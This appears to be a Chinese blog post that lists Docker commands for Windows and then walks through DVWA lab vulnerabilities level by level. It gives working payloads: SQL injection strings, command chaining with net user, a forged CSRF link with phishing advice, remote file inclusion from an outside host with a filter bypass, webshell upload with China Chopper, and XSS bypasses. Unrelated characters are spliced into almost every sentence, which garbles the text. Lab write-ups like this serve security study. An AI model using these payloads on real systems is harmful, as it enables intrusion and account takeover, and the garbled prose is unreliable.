Docker介紹
用的是 win10 x64位版本拔莱,推薦在powershell下運(yùn)行(可以解決某些腳本或指令無法運(yùn)行的問題鞠绰。)
https://github.com/docker/for-win/issues
本地安裝默認(rèn)在C盤,由win10自帶的 hper-v模擬一個(gè)linux環(huán)境安裝驼卖。右擊docker圖標(biāo)下載Docker for Windows 的 GUI 管理工具 Kitematic积蔚,解壓安裝在C盤docker的目錄下浮入。
國外鏡像源pull太慢的話可以設(shè)置為國內(nèi)的加速器,在docker daemon 的"registry-mirrors": ["https://stx13k4e.mirror.aliyuncs.com"] 數(shù)組里添加國內(nèi)阿里云鏡像加速器
vi 輸入i進(jìn)入編輯模式 ESC后進(jìn)入命令模式 :wq
附一些docker 在windows下常用命令筆記說明:
docker run -t -i <image> 用鏡像創(chuàng)建一個(gè)容器
docker run -it ubuntu bash 在bash命令行進(jìn)入ubuntu做粤;exit退出
docker start <container id> 開始該容器
docker stop <container id> 停止該容器
docker pull image 拉拽鏡像
docker images 查看可用鏡像
docker ps 查看運(yùn)行的容器
docker ps -a 查看所有的容器
docker rmi <image name>刪除鏡像
docker rm <container id>刪除容器
docker rm (docker ps -a -q) 刪除當(dāng)前所有容器
docker save -o <保存文件名(.tar)或路徑> <要保存的鏡像名> 導(dǎo)出鏡像文件
docker load --input <要載入的文件名(.tar)或路徑> 導(dǎo)入鏡像文件
docker commit <容器id> <新名字>創(chuàng)建當(dāng)前運(yùn)行鏡像的新的鏡像(包含改變)
docker attach <container id>與該容器交互
docker pull private-registry.com/user-name/ubuntu:latest 從私有Registry上拉取鏡像docker tag dvwa1.9_win10 euphrat1ca/dvwa1.9_win10 給鏡像加上標(biāo)簽
docker login 登錄到dockerhub
docker push euphrat1ca/ubuntu_cn 上傳到dockerhub
docker inspect --format='{{.NetworkSettings.IPAddress}}' $(docker ps -a -q) 查看所有容器ip
docker cp [OPTIONS] <container Id>:本機(jī)文件路徑
docker cp [OPTIONS] 本機(jī)文件路徑 <container Id>:容器中文件路徑
docker exec -it <container id> /bin/sh 與容器交互
docker inspect <container id> 容器信息
docker build -t apache-php2 . Dockerfile創(chuàng)建鏡像
docker tag <container id> username/name:devel 修改鏡像的標(biāo)簽
docker run -d -p 80:80 端口映射(-d守護(hù)進(jìn)程)
docker run -it <images-name> env 查看HTTP_PROXY
, http_proxy
和no_proxy
的環(huán)境變量設(shè)置#由DVWA學(xué)習(xí)代碼審計(jì)
Brute Force
low
<?php
if(isset($_GET['Login'])){
//Getusername
$user=$_GET['username'];
//Getpassword
$pass=$_GET['password'];
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>
只對pass做了MD5處理避免了代碼執(zhí)行浇借,但是對username沒做過濾。所以可以用admin'# 或 admin'or'1'='1("SELECT * FROM users
WHERE user = 'admin'#' AND password = '$pass';" 第二個(gè)同理)繞過怕品。
media
<?php
if(isset($_GET['Login'])){
//Sanitiseusernameinput
$user=$_GET['username'];
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(2);
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
?>
增加了mysql_real_escape_string函數(shù)妇垢,這個(gè)函數(shù)會(huì)對字符串中的特殊符號(x00,n,r闯估,恢总,’,”睬愤,x1a)進(jìn)行轉(zhuǎn)義片仿,基本上能夠抵御sql注入攻擊,但是類似addslashes和mysql_real_escape_string網(wǎng)上已有繞過的辦法尤辱。同時(shí)砂豌,$pass做了MD5校驗(yàn),杜絕了通過參數(shù)password進(jìn)行sql注入的可能性光督。但是阳距,依然沒有加入有效的防爆破機(jī)制(sleep(2)只不過耽擱會(huì))。
high
<?php
if(isset($_GET['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
//Sanitiseusernameinput
$user=$_GET['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);
//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);
//Checkdatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');
if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");
//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(rand(0,3));
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}
mysql_close();
}
//GenerateAnti-CSRFtoken
generateSessionToken();
?>
High級別的代碼加入了Token结借,可以抵御CSRF攻擊筐摘,同時(shí)也增加了爆破的難度。不過類似addslashes和mysql_real_escape_string網(wǎng)上已有繞過的辦法船老。通過Burp抓包咖熟,可以看到,登錄驗(yàn)證時(shí)提交了四個(gè)參數(shù):username柳畔、password馍管、Login以及user_token。不過token是可以在頁面上抓取的薪韩。
impossible
增加了放暴破設(shè)置确沸,同時(shí)使用了更為安全的PDO(PHP Data Object)機(jī)制防御sql注入(PDO擴(kuò)展本身執(zhí)行任何數(shù)據(jù)庫操作)
命令執(zhí)行注入
low
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
對輸入的命令沒有過濾,直接進(jìn)行參數(shù)的傳遞俘陷÷奚樱可以通過用“&&”和“;”來執(zhí)行額外的命令 ping 127.0.0.1&&net user
medium
只不過是加入了一些黑名單的過濾,但是仍然不完全拉盾,比如網(wǎng)上給出的例子 ping 127.0.01 || net user ("||"的意思是前一個(gè)命令失敗則執(zhí)行下一個(gè)命令)桨菜。所以黑名單是過濾不完的
high
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
黑名單列表更多了一點(diǎn),同medium理盾剩。
impossible
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
這個(gè)就有點(diǎn)喪心病狂了雷激,將IP以“.”分片后,分別來判斷數(shù)據(jù)類型
CSRF 跨站請求偽造
low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) { #檢查兩個(gè)參數(shù)是否相同
// They do!
$pass_new = mysql_real_escape_string( $pass_new ); #過濾非法字符告私,可嘗試?yán)@過
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user #如果相同則更改密碼
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>
- http://localhost:32774/dvwa/vulnerabilities/csrf/?password_new=password1&password_conf=password1&Change=Change#屎暇,構(gòu)造此連接誘使他人管理員點(diǎn)擊則可將密碼更改為password1,前提是管理員使用了相同的瀏覽器打開(利用瀏覽器中的cookies)
- 攻擊利用可通過網(wǎng)上的短網(wǎng)址服務(wù)對這串網(wǎng)址進(jìn)行縮減驻粟「浚或者利用構(gòu)造釣魚網(wǎng)站或頁面凶异,在其中插入這段利用網(wǎng)址誘使管理員點(diǎn)擊。
media
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { #eregi()功能:字符串比對解析挤巡,與大小寫無關(guān)剩彬。
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
- eregi()檢查了保留變量 HTTP_REFERER中是否包含SERVER_NAME
- 驗(yàn)證是否包含了上圖如主機(jī)名等關(guān)鍵字,如果沒有則判斷失敗矿卑。只需要在http包中加入關(guān)鍵字即可繞過喉恋,比如構(gòu)造的攻擊頁面名即為主機(jī)名loclahost:32774.html
high
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token #用戶每次訪問頁面都會(huì)產(chǎn)生一個(gè)隨機(jī)token,發(fā)起請求時(shí)先驗(yàn)證token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
- 加入了 token驗(yàn)證
- 利用方面可以通過向目標(biāo)主機(jī)植入木馬獲取token并更改密碼母廷,或者利用存儲(chǔ)型XSS獲取token
impossible
1.加入了要求輸入原密碼的驗(yàn)證轻黑,簡單粗暴。使用了PDO防注入
file inclusion文件包含
low
$file = $_GET[ 'page' ];
- 可在鏈接 http://localhost:32774/dvwa/vulnerabilities/fi/?page=file1.php “=”后面跟文件路徑讀取服務(wù)器本地文件 linux / win \ ..跨目錄
- 當(dāng)服務(wù)器的php配置中琴昆,選項(xiàng)allow_url_fopen與allow_url_include為開啟狀態(tài)時(shí)氓鄙,服務(wù)器會(huì)允許包含遠(yuǎn)程服務(wù)器上的文件,如果對文件來源沒有檢查的話业舍,就容易導(dǎo)致任意遠(yuǎn)程代碼執(zhí)行抖拦。 localhost:32774/dvwa/vulnerabilities/fi/?page=http://xxx.com/1.txt
media
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
- 使用str_replace()函數(shù),對參數(shù)中的某些字符替換為空字符舷暮。 page=hthttp://tp://xxx.com/1.txt ,利用雙寫繞過規(guī)則态罪,替換后則正好構(gòu)成鏈接,遠(yuǎn)程執(zhí)行命令脚牍。本地文件包含同理向臀。且絕對路徑不受影響。
high
if( !fnmatch( "file*", $file ) && $file != "include.php" )
- 使用了fnmatch()函數(shù)诸狭,要求提交的url中必須包含為file開頭,可以利用windows下的 File協(xié)議君纫,基本的格式如下:file:///文件路徑
impossible
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
采用白名單驗(yàn)證驯遇,要求提交的參數(shù)必須包括這三個(gè)之一
file upload文件上傳
low
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
- 這里對上傳的文件沒有做任何的限制,而且最后還會(huì)判斷是否上傳成功并返回上傳路徑蓄髓。所以直接上傳一句話用菜刀連接就可以了叉庐。
media
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
- 代碼對名稱、類型和大小做了限制会喝,要求文件類型必須是jpeg或者png陡叠,大小不能超過100000B(約為97.6KB)。
- 這里我們選擇講一句話木馬的后綴改為 “.jpg”肢执,然后上傳的時(shí)候用burp更改上傳文件類型(記得檢查長度“Content-Length:”)
- 接著用菜刀連接即可枉阵。
- 在php版本小于5.3.4的服務(wù)器中,當(dāng)Magic_quote_gpc選項(xiàng)為off時(shí)预茄,可以在文件名中使用%00截?cái)嘈肆铮钥梢园焉蟼魑募麨閥ijuhua.php%00.png
high
strrpos( $uploaded_name, '.' )
strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
- 第一個(gè)strrpos()先讀取上傳文件最后一個(gè)“.”后的文件名,最后在與上傳文件的最后文件名比對,如果相同才可以上傳拙徽。
- getimagesize( )函數(shù)會(huì)讀取文件的頭信息刨沦,要求頭信息必須為jpg、png膘怕、jpeg的圖片想诅。
- 網(wǎng)上給出的是用文件包含和%00截?cái)嗪兔钚凶⑷胫苯痈拿郑@里我可能是因?yàn)榕渲脝栴}一直沒成功岛心。
impossible
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Generate Anti-CSRF token
generateSessionToken();
- 增加了文件名的md5驗(yàn)證来破,審核了文件內(nèi)容,最后也加入了token驗(yàn)證鹉梨。導(dǎo)致攻擊者無法上傳惡意腳本讳癌。
第六個(gè)不安全的驗(yàn)證碼
- 因?yàn)槲铱赡芘渲糜悬c(diǎn)問題,這里沒辦法實(shí)驗(yàn)╮(╯▽╰)╭
- 大概思路和CSRF套路一樣存皂,更改密碼時(shí)需要提交驗(yàn)證碼晌坤,構(gòu)造釣魚頁面向用戶發(fā)送含有更改密碼連接的頁面誘使其點(diǎn)擊。
sql injection sql注入
手工注入思路:
1.判斷是否存在注入旦袋,注入是字符型還是數(shù)字型
2.猜解SQL查詢語句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫
5.獲取數(shù)據(jù)庫中的表
6.獲取表中的字段名
7.下載數(shù)據(jù)
low
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
- 對來自客戶端的參數(shù)“id”沒有進(jìn)行任何的過濾骤菠,直接查詢。
- 先通過 “?id=1 and 1=1”與“?id=1' and 1=1’”判斷出為字符型注入(1為數(shù)字疤孕,2為字符)
media
mysql_real_escape_string( $id )
- 使用mysql_real_escape_string()函數(shù)對id中的特殊符號進(jìn)行轉(zhuǎn)義商乎。使用了下來菜單的方式限制了輸入,但是用burp抓包以后依然可以提交特殊語句祭阀。
- 根據(jù)提交特殊語句判斷為數(shù)字型注入
- 在諸如過程中也許會(huì)遇到特殊字符轉(zhuǎn)義鹉戚,可以用二進(jìn)制的方式跳過,如 ’users ’ = 0×7573657273
high
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
- LIMT 1 限制每次只出現(xiàn)一個(gè)結(jié)果专控,但是可以通過 “#”將其注釋掉
impossible
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
- 采用了PDO技術(shù)將代碼與數(shù)據(jù)分離開抹凳,而且確保只有在數(shù)據(jù)為一行的情況下才可以輸出。最后加入了token驗(yàn)證伦腐。
sql injection blind sql盲注
原理和sql注入類似赢底,但是隱藏了錯(cuò)誤信息,只返回對柏蘑、錯(cuò)
XSS(Reflected) 反射性XSS
low
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
- 對參數(shù)未做任何處理幸冻,直接顯示
- <script>alert("XSS");</script> 驗(yàn)證成功,彈出提示框咳焚。
media
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
- 對參數(shù)做了'<script>'過濾轉(zhuǎn)換為空 <sc<script>ript>洽损,將頭轉(zhuǎn)換即可。
high
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )
- 使用正則對特殊字符進(jìn)行了轉(zhuǎn)義黔攒。
- 所有包含這些特殊字符的語句都失效趁啸。
impossible
$name = htmlspecialchars( $_GET[ 'name' ] );
// Generate Anti-CSRF token
generateSessionToken();
- 加入了token驗(yàn)證和强缘,繞過 htmlspecialchars()函數(shù)的具體方法網(wǎng)上還是有的,htmlspecialchars()函數(shù)只對&不傅、’旅掂、”、<访娶、>符號進(jìn)行轉(zhuǎn)譯成html特殊符號商虐,我們可以通過url編碼對帶有連接的標(biāo)記進(jìn)行攻擊:<a href="<?php echo htmlspecialchars("javascript:alert(1)",ENT_QUOTES); ?>">a</a>
XSS stored 存儲(chǔ)型XSS
low
stripslashes( $message );
- stripslashes函數(shù)表示:去除字符串中的反斜線字符,如果有兩個(gè)連續(xù)的反斜線崖疤,則只去掉一個(gè)秘车。除了這個(gè)以后則對參數(shù)沒有進(jìn)行其它的過濾。
media
- 主要思路和反射型類似劫哼,都只是轉(zhuǎn)義了一個(gè)<script>
其它兩個(gè)等級也類似叮趴。